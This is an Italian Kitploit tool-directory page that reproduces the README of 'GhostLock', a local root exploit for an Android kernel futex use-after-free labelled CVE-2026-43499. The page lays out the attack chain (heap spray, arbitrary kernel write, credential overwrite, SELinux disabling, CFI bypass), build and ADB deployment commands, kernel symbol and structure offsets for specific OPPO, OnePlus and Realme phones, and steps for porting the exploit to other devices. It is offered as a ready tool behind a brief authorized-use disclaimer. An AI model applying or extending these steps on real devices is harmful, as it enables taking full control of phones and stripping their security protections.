Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/wzhdgithub/ghostlock
Sicurezza AndroidEscalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringBinary Exploitation
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI stack UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

Vedi Repository
3926 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GhostLock - CVE-2026-43499 Exploit di escalation dei privilegi locali

Panoramica della vulnerabilità

ID CVE: CVE-2026-43499
Tipo di vulnerabilità: futex PI (priority inheritance) stack UAF (Use-After-Free)
Impatto: kernel Linux 6.1 ~ 6.12 (Android GKI)
Effetto dell'exploit: escalation dei privilegi locali + disabilitazione di SELinux, ottenere una root shell

Funzionamento

Percorso di attivazione della vulnerabilità

root@kitploit:~
Spazio utente → pselect() → allocazione di rt_mutex_waiter sullo stack del kernel
                      → le operazioni futex PI attivano il rilascio del waiter
                      → la memoria del waiter rilasciata viene riutilizzata dalle operazioni fd_set
                      → i campi del waiter vengono controllati tramite dati fd_set costruiti con cura
                      → rb_erase() attiva la scrittura arbitraria nella memoria del kernel

Catena dell'exploit

  1. Attivazione della vulnerabilità: rilascio di rt_mutex_waiter sullo stack del kernel tramite la race condition di pselect() + futex PI
  2. Controllo del layout di memoria: heap spray del kernel con pipe_buffer per costruire un falso rt_mutex_waiter
  3. Scrittura arbitraria: sfruttare le operazioni ad albero di rb_erase() per scrivere puntatori controllati in un indirizzo di destinazione
  4. Percorso di escalation:
    • Modifica della struttura cred: uid/gid → 0, capabilities → tutte abilitate
    • Disabilitazione di SELinux: selinux_state.enforcing → 0
  5. Verifica: nuova scansione di ashmem_fops per confermare l'integrità di CFI

Struttura del progetto

root@kitploit:~
GhostLock/
├── README.md                    # Questo documento
├── src/
│   ├── core/                    # Codice principale dell'exploit
│   │   ├── main.c               # Punto di ingresso principale, attivazione della vulnerabilità
│   │   ├── pipe.c               # Pipe buffer spray
│   │   ├── fops.c               # Hijacking delle operazioni sui file
│   │   ├── root.c               # Escalation dei privilegi + disabilitazione SELinux
│   │   ├── slide.c              # Gestione della randomizzazione degli indirizzi del kernel
│   │   ├── util.c               # Funzioni di utilità
│   │   ├── miniadb.c            # Mini server ADB
│   │   ├── common.h             # Definizioni comuni
│   │   ├── target.h             # Configurazione del target
│   │   ├── offset.h             # Include degli offset
│   │   ├── runtime_offsets.h    # Tabella degli offset a runtime
│   │   └── kernelsnitch/        # Sondaggio degli indirizzi del kernel
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # Adattamento dei dispositivi
│       ├── offsets.h            # Definizione della struttura degli offset
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # Strumenti ausiliari
│   └── extract_btf.py           # Script di estrazione degli offset BTF
├── btf_*.py                     # Raccolta di script di analisi BTF
├── Makefile                     # Script di build
├── compile.cmd                  # Script di compilazione Windows
├── build.rsp                    # File di risposta alla compilazione
└── ghostlock                    # Artefatto di compilazione (ELF aarch64)

Dispositivi supportati

DispositivoVersione kernelStato
OPPO Find X8 (MT6991)6.6.118-android15✅ Adattato
OnePlus Ace 6T6.1.x✅ Verificato
OnePlus 156.1.x✅ Verificato
OnePlus Pad 26.1.x✅ Verificato
Realme RMX50706.1.x✅ Verificato

Compilazione

Requisiti di ambiente

  • Android NDK r27c o successivo
  • Python 3.x (per l'analisi BTF)
  • Linux/macOS/WSL (Linux consigliato)

Passaggi di compilazione

root@kitploit:~
# 1. Imposta il percorso NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. Compila
make

# 3. Oppure compila direttamente con NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Compilazione Windows

root@kitploit:~
# Usa il compile.cmd fornito
compile.cmd

Utilizzo

Prerequisiti

  1. Il telefono ha il debug USB abilitato
  2. Il computer ha i driver ADB installati
  3. Il telefono è collegato al computer via USB

Passaggi

root@kitploit:~
# 1. Verifica la connessione del dispositivo
adb devices

# 2. Verifica la versione del kernel (deve corrispondere)
adb shell uname -r
# Output atteso: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. Copia l'exploit sul telefono
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. Esegui l'exploit
adb shell /data/local/tmp/ghostlock

Esempio di output di esecuzione

root@kitploit:~
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Indicatori di successo

  • Compare il prompt # (root shell)
  • Il comando id mostra uid=0(root)
  • getenforce restituisce Permissive

Dettagli tecnici

Layout di memoria del kernel

root@kitploit:~
KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Offset dei simboli chiave (Find X8)

SimboloOffset
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298

Offset delle strutture (verifica BTF)

StrutturaCampoOffset
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8

Percorso dell'exploit

  1. kernelsnitch - scansiona la regione direct_map per localizzare mm_struct
  2. pipe spray - occupa la memoria del waiter rilasciata con pipe_buffer
  3. pselect trigger - attiva la UAF e riutilizza il waiter liberato
  4. rb_erase write - implementa la scrittura arbitraria tramite le operazioni dell'albero rosso-nero
  5. cred patch - modifica le credenziali del processo corrente
  6. SELinux disable - disabilita il controllo degli accessi obbligatorio

Adattamento dei dispositivi

Aggiungere un nuovo dispositivo

  1. Estrai l'immagine del kernel:
    root@kitploit:~
    # Estrai boot.img dal telefono
    adb pull /dev/block/by-name/boot boot.img
    
    # Oppure estrailo dal pacchetto firmware
    
  2. Estrai kallsyms:
    root@kitploit:~
    # Usa vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # Seleziona l'opzione "Extract kallsyms"
    
  3. Estrai le informazioni BTF:
    root@kitploit:~
    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
  4. Crea una voce per il dispositivo:
    root@kitploit:~
    mkdir -p src/devices/mydevice
    # Copia una voce esistente come modello
    cp src/devices/findx8/offsets.h src/devices/mydevice/
    # Modifica gli offset
    
  5. Registra il dispositivo: In src/devices/offsets.h aggiungi:
    root@kitploit:~
    #include "mydevice/offsets.h"
    

Metodi per ottenere gli offset

InformazioneSorgenteStrumento
Indirizzo del simbolokallsymsvmlinux-to-elf
Offset della strutturaBTFbtf_task2.py
Layout della memoria fisicaIKCONFIGextract-ikconfig
Versione del kernelunameadb shell uname -r

Script degli strumenti

Script di analisi BTF

root@kitploit:~
# Estrae i membri completi di task_struct
python3 btf_task2.py > task_full.txt

# Estrae tutte le strutture chiave
python3 btf_structs2.py > structs.txt

# Estrae strutture specifiche
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# Estrae i dati BTF grezzi
python3 btf_raw.py > raw.txt

Estrazione di kallsyms

root@kitploit:~
# Usa vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# Oppure usa uno script personalizzato
python3 run_kallsyms_finder.py

Note di sicurezza

⚠️ Avvertenza: questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e ai test autorizzati. L'uso non autorizzato su dispositivi di terzi è illegale.

Limitazioni note

  • Richiede il debug USB abilitato
  • Richiede una connessione ADB (non sfruttabile da remoto)
  • La versione del kernel deve corrispondere esattamente
  • Alcuni dispositivi potrebbero avere meccanismi di sicurezza aggiuntivi

Protezione CFI

Questo exploit è in grado di aggirare la protezione Control Flow Integrity (CFI) del kernel tramite:

  1. Verifica della validità dell'indirizzo di ashmem_fops
  2. Uso di copy_splice_read come destinazione di chiamata legittima
  3. Nuova scansione per confermare l'integrità di CFI

Debug

Problemi comuni

D: Viene visualizzato "no offsets for kernel: xxx" R: La versione del kernel non è supportata; è necessario aggiungere una voce per il dispositivo.

D: l'exploit rimane bloccato R: Potrebbe essere un fallimento della race condition; riprova alcune volte.

D: si verifica un kernel panic R: Improbabile (panic_on_oops non è impostato), ma puoi controllare dmesg.

Output di debug

root@kitploit:~
# Abilita l'output dettagliato
adb shell /data/local/tmp/ghostlock -v

# Visualizza i log del kernel
adb shell dmesg | tail -50

Risorse correlate

  • Dettagli su CVE-2026-43499
  • Ricerca originale di GhostLock
  • Kernel Android GKI

Licenza

Questo progetto è rilasciato sotto la licenza MIT.

Ringraziamenti

  • Grazie a tutti i ricercatori di sicurezza per il loro contributo
  • Grazie al team di sicurezza Android per la risposta
  • Grazie alla comunità open source per il supporto

Ultimo aggiornamento: 13 agosto 2026
Autore: wzh
Contatto: [email protected]

Scarica lo strumento